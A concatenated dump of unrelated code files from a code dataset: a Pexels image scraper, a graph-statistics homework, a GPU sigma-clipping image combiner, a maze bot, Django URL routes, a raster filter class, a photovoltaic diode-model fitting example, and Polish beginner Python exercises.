发现加载出来的url\nhttps://www.pexels.com/?dark=true&page=2&format=js&seed=2019-02-06%2008:15:31%20+0000\nhttps://www.pexels.com/?dark=false&format=js&page=3&seed=2019-02-06+08%3A15%3A31++0000&format=js&seed=2019-02-06%2008:15:31%20+0000\nhttps://www.pexels.com/?dark=true&format=js&page=4&seed=2019-02-06+08%3A15%3A31++0000&format=js&seed=2019-02-06%2008:15:31%20+0000\nhttps://www.pexels.com/?dark=false&format=js&page=5&seed=2019-02-06+08%3A15%3A31++0000&format=js&seed=2019-02-06%2008:15:31%20+0000\n\n发现许多参数都一样的 去掉\nhttps://www.pexels.com/?page=2 3 4 5\n'''\nfrom bs4 import BeautifulSoup\nfrom lxml import etree\nimport requests\nimport os\nimport time\n\ndef spider(url):\n headers = {\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36,h\"\n }\n rsp = requests.get(url=url, headers=headers)\n # print(rsp.text)\n html = etree.HTML(rsp.text)\n img_urls = html.xpath(\"//article[@class='photo-item photo-item--overlay']//img[@class='photo-item__img']/@src\")#可以直接获取所有标签下的属性 并且组成列表\n print(img_urls,type(img_urls))\n # soup = BeautifulSoup(rsp.text, \"lxml\")\n # img_urls = soup.select(\"article[class='photo-item photo-item--overlay'] a[class='js-photo-link photo-item__link'] img[class='photo-item__img']\")#不可以直接获得属性 必须要获得标签后遍历标签得到属性\n # # print(img_urls)\n # for img_url in img_urls:\n # u = img_url[\"src\"]\n # print(u, type(img_url))\n\n # print(img_urls)\n for img_url in img_urls:\n download_img(img_url)\ndef download_img(url):\n headers = {\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36,h\"\n }\n rsp = requests.get(url=url, headers=headers)\n dir = \"ajax_imag\"\n if not os.path.exists(dir):\n os.mkdir(dir)\n jpg_name = url.split(\"?\")[0].split(\"/\")[-1]\n with open(dir + \"\\\\\" + jpg_name, \"wb\") as f:\n print(\"...\")\n f.write(rsp.content)\n\nif __name__ == \"__main__\":\n urls = [\"https://www.pexels.com/?page={}\".format(str(i)) for i in range(1, 5)]\n for url in urls:\n # print(1)\n time.sleep(1)\n spider(url)\n\n\n\n'''\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\npn: 30\n\n1549467788960: \nhttps://image.baidu.com/search/acjson?pn=30&1549467788960=\n\n\n'''","sub_path":"xitiban/数据存储/test/Ajax_ybjz.py","file_name":"Ajax_ybjz.py","file_ext":"py","file_size_in_byte":2461,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"598802147","text":"import provided\nimport math\nimport random\nimport numpy as np\n\n#initializing variables\n# word_data = provided.create_vectors(\"./datasets/word_data.npy\")\n# articles = provided.open_file(\"./datasets/articles_index_20199.pkl\")\n# transform_matrix = np.load(\"./datasets/transform_matrix.npy\").T\n\nword_data = provided.create_vectors(\"./data/word_data.npy\")\narticles = provided.open_file(\"./data/articles_index_20199.pkl\")\ntransform_matrix = np.load(\"./data/transform_matrix.npy\").T\n\nclass Graph:\n\t\"\"\"docstring for Graph\"\"\"\n\tdef __init__(self,index_file,data_file):\n\t\t\"\"\"\n\t\tbuild the graph by calling make_graph of the provided class\n\t\tindex_file title list\n\t\tdata_file file containing article mapping information\n\t\t\"\"\"\n\t\tself.graph_data = provided.make_graph(index_file,data_file)\n\n\tdef compute(self,graph_operation,node_operation):\n\t\t\"\"\"\n\t\tA higher order function that separate graph operation from node operation\n\t\tgraph_operation an operation to be performed on the whole graph\n\t\tnode_operation an function that is perform a node of the graph\n\n\t\t\"\"\"\n\t\treturn graph_operation(self.graph_data,node_operation)\n\ndef average(graph_data,node_operation):\n\t\"\"\"\n\tA graph operation that calulate average of values\n\t\"\"\"\n\tresult =0;\n\tfor title in graph_data:\n\t\tresult+=node_operation(graph_data[title])\n\treturn result/len(graph_data)\n\ndef maximum(graph_data,node_operation):\n\t\"\"\"\n\tthis is a graph operation that calculates the maximum value\n\tgraph_data: a dictionary of article title and node\n\tnode_operation: the node operation to apply the maximum operation on\n\n\t\"\"\"\n\t# initialize to the minimum obtainable value first\n\tresult=0\n\tfor title in graph_data:\n\t\tnode_value = node_operation(graph_data[title])\n\t\tif node_value > result:\n\t\t\tresult= node_value\n\n\treturn result\n\ndef calculate_out_degree(node):\n\t\"\"\"\n\tcalculate the out degree of a node\n\tnode: the node to calculate the out degree\n\t\"\"\"\n\treturn len(node.get_out_neighbors())\n\ndef calculate_total_degree(node):\n\t\"\"\"\n\tcalculate the total degree of a node\n\tnode: the node to calculate the total degree\n\t\"\"\"\n\treturn len(node.get_in_neighbors()+node.get_out_neighbors())\n\ndef build_vector_dictionary(word_data,graph_data,transform_matrix):\n\t\"\"\"\n\tThis function build a dictionary of article title and the corresponding vector\n\tword_data: the vector list\n\tgraph_data: the graph_representation\n\t\"\"\"\n\tarticle_vector={}\n\tfor (index,article) in enumerate(graph_data):\n\t\tif not word_data[index].all():\n\t\t\tcontinue\n\t\tarticle_vector[article]=provided.np.dot(word_data[index],transform_matrix)\n\treturn article_vector\n\ndef average_pca(graph_data,node_operation):\n\t\"\"\"\n\tCalculate the average pca\n\tgraph_data: the graph representation\n\tnode_operation: the function for getting node values\n\t\"\"\"\n\t# word_data = provided.create_vectors(\"./datasets/word_data.npy\")\n\t# articles = provided.open_file(\"./datasets/articles_index_20199.pkl\")\n\t# transform_matrix = np.load(\"./datasets/transform_matrix.npy\").T\n\tarticle_vector=build_vector_dictionary(word_data,graph_data,transform_matrix)\n\tvalue_sum=0;\n\tfor article in graph_data:\n\t\tvalue_sum+=node_operation(article,article_vector,graph_data)\n\treturn value_sum/len(graph_data)\n\ndef compute_random_node_distance(article,vectors,graph_data):\n\tvector1=vectors[article]\n\tvector2=choose_article_vector(article,vectors,graph_data,True)\n\tif isinstance(vector2,int) and vector2==0:\n\t\treturn 0\n\treturn compute_euclidean_distance(vector1,vector2)\n\ndef compute_random_neighbor_distance(article,vectors,graph_data):\n\tvector1=vectors[article]\n\tvector2=choose_article_vector(article,vectors,graph_data)\n\tif isinstance(vector2,int) and vector2==0:\n\t\treturn 0\n\treturn compute_euclidean_distance(vector1,vector2)\n\n\t\ndef choose_article_vector(article,vectors,graph_data,all=False):\n\tneighbor = [graph_data[x] for x in graph_data if graph_data[x].get_name()!=article ] if all else graph_data[article].get_out_neighbors()\n\tif len(neighbor)==0:\n\t\treturn 0\n\tposition =random.randint(0,len(neighbor)-1)\n\tname = neighbor[position].get_name()\n\tif not name in vectors or not vectors[name].all():\n\t\treturn False\n\treturn vectors[name]\n\ndef compute_euclidean_distance(vector1,vector2):\n\t\"\"\"\n\tThis function compute the euclidean distance between two vectors\n\tvector1: the first vector\n\tvector2: the second vector\n\t\"\"\"\n\tsummation=0\n\tfor index in range(len(vector1)):\n\t\tsummation+=(vector1[index]-vector2[index])**2\n\treturn math.sqrt(summation)\n\n# g = Graph('./datasets/test_index_10.pkl', './datasets/articles_with_links_10.pkl')\n# print(\"Graph with 10 nodes\")\n# print(\"Average out-degree:\", g.compute(average, calculate_out_degree))\n# print(\"Maximum out-degree:\", g.compute(maximum, calculate_out_degree))\n# print(\"Average degree:\", g.compute(average, calculate_total_degree))\n# print(\"Maximum degree:\", g.compute(maximum, calculate_total_degree))\n \n# g = Graph('./datasets/test_index_13.pkl', './datasets/articles_with_links_13.pkl')\n# print(\"Graph with 13 nodes\")\n# print(\"Average out-degree:\", g.compute(average, calculate_out_degree))\n# print(\"Maximum out-degree:\", g.compute(maximum, calculate_out_degree))\n# print(\"Average degree:\", g.compute(average, calculate_total_degree))\n# print(\"Maximum degree:\", g.compute(maximum, calculate_total_degree))\n\n# g = Graph('./datasets/articles_index_20199.pkl', './datasets/articles_with_links_20199.pkl')\n# print(g.compute(average_pca, compute_random_node_distance))\n# print(g.compute(average_pca, compute_random_neighbor_distance))\ng = Graph('./data/articles_index_20199.pkl', './data/articles_with_links_20199.pkl')\nprint(g.compute(average_pca, compute_random_node_distance))\nprint(g.compute(average_pca, compute_random_neighbor_distance))","sub_path":"HW7/graph_computation.py","file_name":"graph_computation.py","file_ext":"py","file_size_in_byte":5620,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"93936444","text":"# -*- coding: utf-8 -*-\n\nfrom __future__ import division\n\nfrom itertools import product\nfrom os.path import basename\nimport warnings\n\nfrom astropy.io import fits\nfrom astropy.time import Time\nimport numpy as np\nimport cupy as cp\n\nfrom .common import judge_dtype\nfrom .io import mkhdu\nfrom .kernel import (\n elementwise_not,\n checkfinite,\n filteredsum,\n filteredvar,\n default_mean,\n replace_kernel,\n filtered_median,\n updatefilt_core,\n)\n\n#############################\n# imcombine\n#############################\n\ntimes = np.zeros(2,dtype=float)\n\nclass SigClip:\n def __init__(self, combine='mean', center='mean', axis=0, default=0,\n dtype=None, returnmask=False):\n\n self.axis = axis\n self.default = default\n self.dtype = judge_dtype(dtype)\n self.rtnmask = returnmask\n\n errormsg = '{0} is not impremented as {1}'\n\n if center == 'mean':\n self.center = lambda mean,*args:mean\n elif center == 'median':\n self.center = lambda mean,*args:self.median(*args,keepdims=True)\n else:\n raise ValueError(errormsg.format(center,'center'))\n\n if combine == 'mean':\n self.combine = self.mean\n elif combine == 'median':\n self.combine = self.median\n else:\n raise ValueError(errormsg.format(combine,'combine'))\n\n def __call__(self,data,iter=3,width=3.0,mask=None,keepdims=False):\n data = cp.asarray(data,dtype=self.dtype)\n\n if mask is None:\n filt = cp.ones_like(data)\n else:\n mask = cp.array(mask,dtype=self.dtype)\n filt = elementwise_not(mask,mask)\n \n checkfinite(data,filt,filt)\n\n for _ in range(iter):\n filt = self.updatefilt(data,filt,width)\n\n if self.rtnmask:\n return elementwise_not(filt,filt)\n\n result = self.combine(data,filt,keepdims=keepdims)\n\n return result\n\n def updatefilt(self,data,filt,width):\n mean = self.mean(data,filt,keepdims=True)\n sigma = self.sigma(data,mean,filt)\n cent = self.center(mean,data,filt)\n \n updatefilt_core(data,filt,cent,sigma,width,filt)\n \n return filt\n \n def sigma(self,data,mean,filt):\n fnum = filt.sum(axis=self.axis,keepdims=True)\n fsqm = filteredvar(data,mean,filt,axis=self.axis,keepdims=True)\n cp.divide(fsqm,fnum,out=fsqm)\n return cp.sqrt(fsqm,out=fsqm)\n\n def mean(self,data,filt,keepdims=False):\n fnum = filt.sum(axis=self.axis,keepdims=keepdims)\n fsum = filteredsum(data,filt,axis=self.axis,keepdims=keepdims)\n return default_mean(fsum,fnum,self.default,fsum)\n \n def median(self,data,filt,keepdims=False):\n if self.axis != 0:\n msg = 'Only axis=0 is supported for median'\n raise NotImplementedError(msg)\n\n nums = filt.sum(axis=0,keepdims=keepdims)\n\n tmpd = cp.where(filt,data,data.max(axis=0))\n tmpd.sort(axis=0)\n\n result = filtered_median(tmpd,nums,self.default,nums)\n \n return result\n\ndef imcombine(data,name=None,list=None,header=None,combine='mean',center='mean',\n iter=3,width=3.0,mask=None,dtype=None,memsave=False,**kwargs):\n '''\n Combine images and optionally write to FITS file\n\n Parameters\n ----------\n data : 3D ndarray\n An array of images stacked along the 1st dimension (axis=0)\n name : str, default None\n A path of output FITS file\n If given, write the result to a FITS file.\n Whether path like object is supported depends on\n the version of Python and Astropy.\n list : array-like, default None\n Names of image to combine\n These are written to the header.\n If the string is path-like, only basename is used.\n combine : {'mean', 'median'}, default 'mean'\n An algorithm to combine images\n center : {'mean', 'median'}, default 'mean'\n An algorithm to get center value\n iter : int, default 3\n A number of sigmaclipping iterations\n width : int or float, default 3.0\n A clipping width in sigma units\n dtype : str or dtype, default 'float32'\n dtype of array used internally\n If None, this value will be usually \"float32\", \n but this can be changed with eclair.set_dtype.\n If the input dtype is different, use a casted copy.\n mask : ndarray, default None\n array indicating which elements of data are masked for calculation.\n The value must be 0 for elements to use or nonzero to ignore.\n memsave : bool, default False\n If True, split data and process it serially.\n Then, VRAM is saved, but speed may be slower.\n kwargs : keywards arguments\n These are given to writeto method of HDU object\n '''\n\n sigclip = SigClip(combine,center,dtype=dtype)\n\n nums, y_len, x_len = data.shape\n if memsave:\n lengthes = y_len//2, x_len//2\n combined = cp.empty([y_len,x_len],dtype=dtype)\n slices = tuple(\n (slice(l),slice(l,None)) for l in lengthes\n )\n for yslice, xslice in product(*slices):\n if mask is None:\n tmpm = None\n else:\n tmpm = mask[:,yslice,xslice]\n combined[yslice,xslice] = sigclip(\n data[:,yslice,xslice],iter,width,mask=tmpm\n )\n else:\n combined = sigclip(data,iter,width,mask=mask)\n\n if name is not None:\n if header is None:\n header = fits.Header()\n\n if list is not None:\n if len(list) != nums:\n warnings.warn(\n 'Number of items is different between list and data'\n )\n if len(list) <= 999:\n key = 'IMCMB{:03d}'\n else:\n key = 'IMCMB{:03X}'\n msg = \"IMCMB keys are written in hexadecimal.\"\n header.append('COMMENT',msg)\n for i,f in enumerate(list,1):\n header[key.format(i)] = basename(f)\n header['NCOMBINE'] = nums\n \n hdu = mkhdu(combined,header=header)\n \n hdu.writeto(name,**kwargs)\n\n print('Combine: {0:d} frames, Output: {1}'.format(nums,name))\n\n return combined\n","sub_path":"eclair/stats.py","file_name":"stats.py","file_ext":"py","file_size_in_byte":6295,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"79181032","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n# Exercise link:https://www.hackerrank.com/challenges/maze-escape\n\ndef next_move(player, board): \n from os import listdir\n \n # creates the state memory file\n if '22-orientations.txt' in listdir():\n with open('22-orientations.txt', 'r') as memory:\n mem = memory.read()\n mem = mem.split('\\n')[:-1]\n else:\n with open('22-orientations.txt', 'w') as memory:\n memory.write('UP\\n')\n \n # rotates the board view clockwise\n def clock_wise(board):\n from numpy import array\n return array(list(zip(*reversed(board))))\n \n # rotates the board view counter-clockwise\n def counter_clock_wise(board):\n from numpy import array\n return array(list(reversed(list(zip(*board)))))\n \n # resets the input to its original orientation\n def compass(mem, board):\n b = board.copy()\n for m in mem:\n if m == 'UP' : pass\n elif m == 'RIGHT':\n b = clock_wise(b)\n elif m == 'LEFT':\n b = counter_clock_wise(b)\n elif m == 'DOWN':\n b = clock_wise(clock_wise(b))\n return b\n \n # scans the bot's visible field\n def vision(board):\n clear = []\n wall = []\n tgt = []\n for el in range(len(board)):\n for e in range(len(board[el])):\n if board[el][e] == '-':\n clear.append((el, e))\n elif board[el][e] == '#':\n wall.append((el, e))\n elif board[el][e] == 'e':\n tgt.append((el, e))\n return clear, wall, tgt\n \n if not tgt: \n \treturn\n\n\n#%%\nif __name__ == \"__main__\": \n player = int(input())\n board = [[j for j in input().strip()] for i in range(3)] \n next_move(player, board)\n","sub_path":"bot_building/Maze Escape.py","file_name":"Maze Escape.py","file_ext":"py","file_size_in_byte":1876,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"571254386","text":"# Copyright 2014, Sandia Corporation. Under the terms of Contract\n# DE-AC04-94AL85000 with Sandia Corporation, the U.S. Government retains certain\n# rights in this software.\n\n\"\"\"Functionality for working with CSS style information.\"\"\"\n\nfrom __future__ import division\n\ndef combine(*styles):\n \"\"\"Combine multiple style specifications into one.\n\n Parameters\n ----------\n styles: sequence of :class:`dict` instances\n A collection of dicts containing CSS-compatible name-value pairs.\n\n Returns\n -------\n styles: :class:`dict` containing CSS-compatible name-value pairs.\n \"\"\"\n computed_style = {}\n for style in styles:\n if style is not None:\n computed_style.update(style)\n return computed_style\n","sub_path":"toyplot/style.py","file_name":"style.py","file_ext":"py","file_size_in_byte":748,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"410378165","text":"from django.conf.urls import patterns, include, url\nfrom django.contrib import admin\nfrom . import views\n\nurlpatterns = patterns('',\n url(r'^v1/account/create/$', views.create_account),\n url(r'^v1/login/$', views.login),\n url(r'^v1/logout/$', views.logout),\n\n url(r'^v1/course/create/$',views.create_course),\n\n url(r'^v1/courses/$',views.courses),\n url(r'^v1/course/$',views.course),\n url(r'^v1/course/(?P[0-9]+)/$', views.course),\n url(r'^v1/search/$',views.search),\n\n)\n\n#createAuth\n#checkAuth\n\n","sub_path":"project4501_exp/project4501_exp/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":531,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"412306488","text":"\"\"\"Functions required run raster filters\"\"\"\nfrom ..base import FilterBase\nfrom quest import util\n\nfrom quest.api import get_metadata, new_dataset, update_metadata, new_feature\nfrom quest.api.projects import active_db\n\nimport os\nimport rasterio\n\n\nclass RstBase(FilterBase):\n # metadata attributes\n group = 'raster'\n operates_on_datatype = ['raster']\n operates_on_geotype = None\n operates_on_parameters = None\n produces_datatype = ['raster']\n produces_geotype = None\n produces_parameters = None\n\n dataset = util.param.DatasetSelector(default=None,\n doc=\"\"\"Dataset to apply filter to.\"\"\",\n filters={'datatype': 'raster'},\n )\n\n def _apply_filter(self):\n\n dataset = self.dataset\n\n # get metadata, path etc from first dataset, i.e. assume all datasets\n # are in same folder. This will break if you try and combine datasets\n # from different service\n\n orig_metadata = get_metadata(dataset)[dataset]\n src_path = orig_metadata['file_path']\n\n #run filter\n with rasterio.open(src_path) as src:\n out_image = self._apply(src, orig_metadata)\n out_meta = src.profile\n # save the resulting raster\n out_meta.update({\"dtype\": out_image.dtype,\n \"height\": out_image.shape[0],\n \"width\": out_image.shape[1],\n \"transform\": None})\n\n cname = orig_metadata['collection']\n feature = new_feature(cname,\n display_name=self.display_name, geom_type='Polygon',\n geom_coords=None)\n\n new_dset = new_dataset(feature,\n source='derived',\n display_name=self.display_name,\n description=self.description)\n\n prj = os.path.dirname(active_db())\n dst = os.path.join(prj, cname, new_dset)\n util.mkdir_if_doesnt_exist(dst)\n dst = os.path.join(dst, new_dset+'.tif')\n\n with rasterio.open(dst, \"w\", **out_meta) as dest:\n dest.write(out_image)\n\n self.file_path = dst\n\n new_metadata = {\n 'parameter': orig_metadata['parameter'],\n 'datatype': orig_metadata['datatype'],\n 'file_format': orig_metadata['file_format'],\n 'unit': orig_metadata['unit']\n }\n\n # update metadata\n new_metadata.update({\n 'options': self.options,\n 'file_path': self.file_path,\n })\n update_metadata(new_dset, quest_metadata=new_metadata)\n\n return {'datasets': new_dset, 'features': feature}\n\n def _apply(self, df, orig_metadata):\n raise NotImplementedError\n","sub_path":"quest/filters/raster/rst_base.py","file_name":"rst_base.py","file_ext":"py","file_size_in_byte":2836,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"318074818","text":"#!/usr/bin/python3\n\n# 3 <= n <= 1000\n# for 10000 primes to 13; for 100000 primes to 17 enough\n\ndef main ():\n n = int (input ())\n if n % 2: print (n - 2)\n else:\n for p in 3, 5, 7, 11:\n if n % p: print (n - p); return\n\nif __name__ == \"__main__\": main ()","sub_path":"_coprimes.py","file_name":"_coprimes.py","file_ext":"py","file_size_in_byte":278,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"511429830","text":"\"\"\"\nExample for fitting the Desoto single diode model\n\n\"\"\"\n\nimport numpy as np\nimport pandas as pd\nfrom pvpro.fit import fit_singlediode_model\nimport time\nfrom pvlib.pvsystem import calcparams_desoto, singlediode\nfrom pvlib.ivtools.sdm import fit_desoto_sandia\n\n# Generate synthetic data.\npoa_list = np.linspace(200, 1000, 15)\ntemperature_cell_list = np.linspace(15, 25, 9)\n\nspecs = dict(\n alpha_sc=0.053 * 1e-2 * 8.6,\n cells_in_series=60,\n beta_voc=-0.351 * 1e-2 * 37.0\n)\nmodule = dict(photocurrent_ref=11,\n saturation_current_ref=1e-9,\n resistance_series_ref=0.3,\n resistance_shunt_ref=50,\n diode_factor=1.0,\n )\nVth_ref = 1.381e-23 * (273.15 + 25) / 1.602e-19\nmodule['nNsVth_ref'] = module['diode_factor'] * specs[\n 'cells_in_series'] * Vth_ref\n\nvoltage = np.array([])\ncurrent = np.array([])\ntemperature_cell = np.array([])\npoa = np.array([])\nivcurve_number = np.array([])\nivcurves = {'v': [], 'i': [], 'v_oc': [], 'ee': [], 'tc': [], 'v_oc': [],\n 'v_mp': [], 'i_mp': [], 'i_sc': []}\n\nivcurve_points = 50\nn = 0\nnp.random.seed(0)\nfor j in range(len(poa_list)):\n for k in range(len(temperature_cell_list)):\n\n poa_curr = float(poa_list[j] * np.random.normal(1,0.01,1))\n tc_curr = float(temperature_cell_list[k] + np.random.normal(0, 0.5, 1))\n IL, I0, Rs, Rsh, nNsVth = calcparams_desoto(\n effective_irradiance=poa_curr,\n temp_cell=tc_curr,\n alpha_sc=specs['alpha_sc'],\n a_ref=module['nNsVth_ref'],\n I_L_ref=module['photocurrent_ref'],\n I_o_ref=module['saturation_current_ref'],\n R_sh_ref=module['resistance_shunt_ref'],\n R_s=module['resistance_series_ref'])\n out = singlediode(IL, I0, Rs, Rsh, nNsVth, ivcurve_pnts=ivcurve_points)\n\n # Add random noise\n # out['i'] = out['i'] + 0.2 * (np.random.rand(len(out['i'])) - 0.5)\n\n voltage = np.append(voltage, out['v'])\n current = np.append(current, out['i'])\n temperature_cell = np.append(temperature_cell,\n np.repeat(temperature_cell_list[k],\n len(out['v'])))\n poa = np.append(poa, np.repeat(poa_list[j], len(out['v'])))\n ivcurve_number = np.append(ivcurve_number, np.repeat(n, len(out['v'])))\n\n ivcurves['v'].append(out['v'])\n ivcurves['i'].append(out['i'])\n ivcurves['v_oc'].append(out['v_oc'])\n ivcurves['i_sc'].append(out['i_sc'])\n ivcurves['v_mp'].append(out['v_mp'])\n ivcurves['i_mp'].append(out['i_mp'])\n ivcurves['tc'].append(temperature_cell_list[k])\n ivcurves['ee'].append(poa_list[j])\n\n n = n + 1\n\nivcurves.keys()\nfor key in ['v_oc', 'ee', 'tc', 'v_mp', 'i_mp', 'i_sc']:\n ivcurves[key] = np.array(ivcurves[key])\n\n# Perform fit using fit_desoto_lbl\nstart_time = time.time()\nret = fit_singlediode_model(voltage=voltage,\n current=current,\n temperature_cell=temperature_cell,\n poa=poa,\n cells_in_series=specs['cells_in_series'],\n alpha_isc=specs['alpha_sc'],\n linear_solver='lsq_linear',\n model='desoto',\n tol=1e-9,\n verbose=False)\nprint('Elapsed Time (fit_singlediode_model): {} s'.format(\n time.time() - start_time))\n\n# Perform fit using fit_desoto_sandia\nstart_time = time.time()\nretds = fit_desoto_sandia(ivcurves, specs=specs)\nprint('Elapsed Time (fit_desoto_sandia): {} s'.format(time.time() - start_time))\n\n# Inspect results.\ndf = pd.DataFrame()\nfor key in ['photocurrent_ref', 'saturation_current_ref',\n 'resistance_shunt_ref', 'resistance_series_ref', 'diode_factor',\n 'nNsVth_ref']:\n df.loc['true', key] = module[key]\n df.loc['fit_singlediode_model', key] = ret[key]\n\ndf.loc['fit_desoto_sandia', 'photocurrent_ref'] = retds['I_L_ref']\ndf.loc['fit_desoto_sandia', 'saturation_current_ref'] = retds['I_o_ref']\ndf.loc['fit_desoto_sandia', 'resistance_shunt_ref'] = retds['R_sh_ref']\ndf.loc['fit_desoto_sandia', 'resistance_series_ref'] = retds['R_s']\ndf.loc['fit_desoto_sandia', 'nNsVth_ref'] = retds['a_ref']\ndf.loc['fit_desoto_sandia', 'diode_factor'] = retds['a_ref'] / (\n specs['cells_in_series'] * Vth_ref)\n\npd.set_option('display.float_format', lambda x: '%.2e' % x)\nprint(df.transpose())\n","sub_path":"examples/test_fit_singlediode_synthetic.py","file_name":"test_fit_singlediode_synthetic.py","file_ext":"py","file_size_in_byte":4485,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"470352849","text":"import random\nimport copy\n#5\n'''\ndef printName():\n print('Grzegorz Brzęczyszczykiewicz')\nprintName()\n\n#6\ndef uek():\n print(\"Uniwersytet Ekonomiczny w Krakowie\")\n print(\"ul. Rakowicka 27\")\n print(\"31-510 Kraków\")\nuek()\nuek()\n\n#7\ndef zad7():\n for i in range(1,10):\n if i%3==0:\n print(f'{i} ',end='')\n print()\n else:\n print(f'{i} ',end='')\nzad7()\n#8\nx=3\ndef f():\n x=1\nf()\nprint(x)\n\n#9\ndef f():\n s = \"I love Disco Polo!\"\n print(s)\ns = \"I love Rock & Roll!\"\nf()\nprint(s)\n\n#10\ndef f():\n y = x + 2\n return x + y\nx = 3\ny = x + 4\nz = f() + x + y\nprint(x, y, z)\n#11\n\ndef f():\n x = y\n x[1] = y[0] + x[1]\nx = [1,2,3]\ny = [4,5]\nf()\nprint(x,y)\n\n#13\ndef suma(tab):\n print(tab)\n s=0\n for i in tab:\n if int(i)==i:\n s+=i\n return s\nprint(suma([4,3,7,1,3]))\n\n#14\ndef wystepuje(tab,szuk):\n czywyst='nie występuje'\n for i in tab:\n if int(i) == szuk:\n czywyst='występuje'\n return czywyst\n return czywyst\nprint(f\" Podana liczba {wystepuje([15,38,7,23,14],23)} w tablicy\")\n\n#17\n\ndef rzucKostka():\n return random.randint(1,6)\nsuma=0\nfor i in range(3):\n x=rzucKostka()\n print(x,end=' ')\n suma+=x\nprint()\nprint(f\"Suma oczek {suma}\")\n\n#18\ndef silnia(n):\n #0!=1 oraz 1!=1\n if n==0 or n==1:\n return 1\n #n! = n * (n-1)!\n if n > 1:\n return n * silnia(n-1)\nprint( f'5! = {silnia(5)}' )\n\n#19\ndef suma(n):\n if n==1:\n return 1\n if n>1:\n return n+suma(n-1)\nprint(suma(500))\n\n#20\ndef potega(x,n):\n if n==1:\n return x\n if n>1:\n return x*potega(x,n-1)\nprint(f'5 do potegi 3 : {potega(5,3)}')\n\n#21\nmultiplication = lambda x,y: x*y\nprint( multiplication(3,4) )\n\n#22\nay22=lambda x: not x%2\nprint(ay22(2))\n\n#23\nay=lambda x,y: True if x>y else False\nprint (ay(5,2))\n\n#24\ndef miesiac(n):\n tab=['styczeń','luty','marzec','kwiecień','maj','czerwiec','lipiec','sierpień','wrzesień','październik','listopad','grudzień']\n return tab[n-1]\nprint(miesiac(7))\nprint(miesiac(9))\n\n#25\nimiona= ['Janek', 'Ania', 'Wojtek', 'Zosia']\ndef jestimie(imie,imiona):\n czywyst='nie występuje'\n for i in imiona:\n if i== imie:\n czywyst='występuje'\n return czywyst\n return czywyst\nprint(f\"Imie {jestimie('Wojtek',imiona)} w wykzie imion \")\n\n#26\ndef podatek(dochod):\n if dochod<=5000:\n return int(dochod*0.17)\n elif dochod>5000:\n return int((5000*0.17)+(dochod-5000)*0.32)\n \nprint('Podatek nalezny: ',podatek(int(input('Podaj dochód: '))))\n\n#27\n#samog=['a','e','y','i','o','ą','ę','u','ó']\ndef ilsamwtesk(tekst='Nam strzelać nie kazano. Wstąpiłem na działo. I spojrzałem na pole, dwieście armat grzmiało. Artyleryji ruskiej ciągną się szeregi, Prosto, długo, daleko, jako morza brzegi.',samog=['a','e','y','i','o','ą','ę','u','ó']):\n #samog=['a','e','y','i','o','ą','ę','u','ó']\n czest=[0,0,0,0,0,0,0,0,0]\n liczznak=0\n for i in tekst:\n for j in range(0,9):\n if i==samog[j]:\n czest[j]+=1\n liczznak+=1\n for i in range(0,9):\n czest[i]=round(czest[i]/liczznak,2)\n print(f'W tekscie skladajacym sie z {liczznak} znakow ,samogloski w %:')\n print(samog)\n print(czest)\nilsamwtesk()\n\n#28\nnazwy=['java','python','js','c++','c#','ruby','perl','php','c','android']\nval=[61,47,37,32,26,18,14,14,9,7]\ndef rysujWykres(jezyki,wartosci):\n for i in range(0,len(jezyki)):\n print(f'{jezyki[i]} : ',end='')\n x=val[i]\n while x>2:\n print('#',end='')\n x-=2\n print()\nrysujWykres(nazwy,val)\n\n#29\ntab29=[2,3,5,2,9,8,1,3,9,1,1,4,7,7,1,4]\ndef mediana(tab):\n tab.sort()\n y=len(tab)//2\n if len(tab)%2==0:\n return tab[y]+tab[y+1]\n else:\n return tab[y]\ndef dominanta(tab):\n tabczest=[[tab[0],0]]\n for i in tab:\n powtarz=False\n for j in range(0,len(tabczest)):\n if i==tabczest[j][0]:\n tabczest[j][1]+=1\n powtarz=True\n break\n if powtarz==False:\n tabczest.append([i,1])\n najw=0\n for i in range(len(tabczest)-1):\n if tabczest[i-1][1]>tabczest[i][1]:\n najw=tabczest[i-1][0]\n else:\n najw=tabczest[i][0]\n return najw\nprint(dominanta(tab29))\nprint(mediana(tab29))\n\n#30\ndef los():\n return random.randint(1,50)\nparz=0\nnieparz=0\nfor i in range(1000):\n x=los()\n if x%2==0:\n parz+=1\n else:\n nieparz+=1\nprint(f'Liczby parzyste {round(parz/10,2)}%')\nprint(f'Liczby nieparzyste {round(nieparz/10,2)}%')\n\n#31\ndef reverse(tab):\n tab2b=[]\n i=len(tab)-1\n while i>=0:\n tab2b.append(tab[i])\n i-=1\n return tab2b\ntab=[2,5,4,1,8,7,0,9]\nprint(reverse(tab))\n\n#32\ndef transpozycja(macierz):\n macierz2b = copy.deepcopy(macierz)\n for i in range(0,len(macierz)): \n for j in range(0,len(macierz[i])):\n macierz2b[j][i]=macierz[i][j]\n return macierz2b\nmacierz=[[1,2,0],\n [0,0,3],\n [5,1,1]]\nprint(macierz)\nprint(transpozycja(macierz))\n\n#33\ndef fib(n):\n a,b = 0,1\n for i in range(n):\n a,b = b,a+b\n print(a)\nfib(20)\n#34\n#moze mozna dodac print do return i wtedy nie trzeba petli\ndef fibi(n):\n if n==0 or n==1:\n 